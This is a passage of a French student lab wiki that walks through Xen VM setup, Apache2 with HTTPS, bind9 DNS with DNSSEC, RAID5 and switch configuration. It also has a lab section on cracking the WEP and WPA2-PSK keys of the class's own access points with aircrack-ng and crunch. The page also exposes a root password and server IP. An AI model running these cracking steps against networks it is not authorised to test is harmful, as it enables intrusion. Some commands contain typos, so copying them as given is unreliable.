&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:aircrack.jpg]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
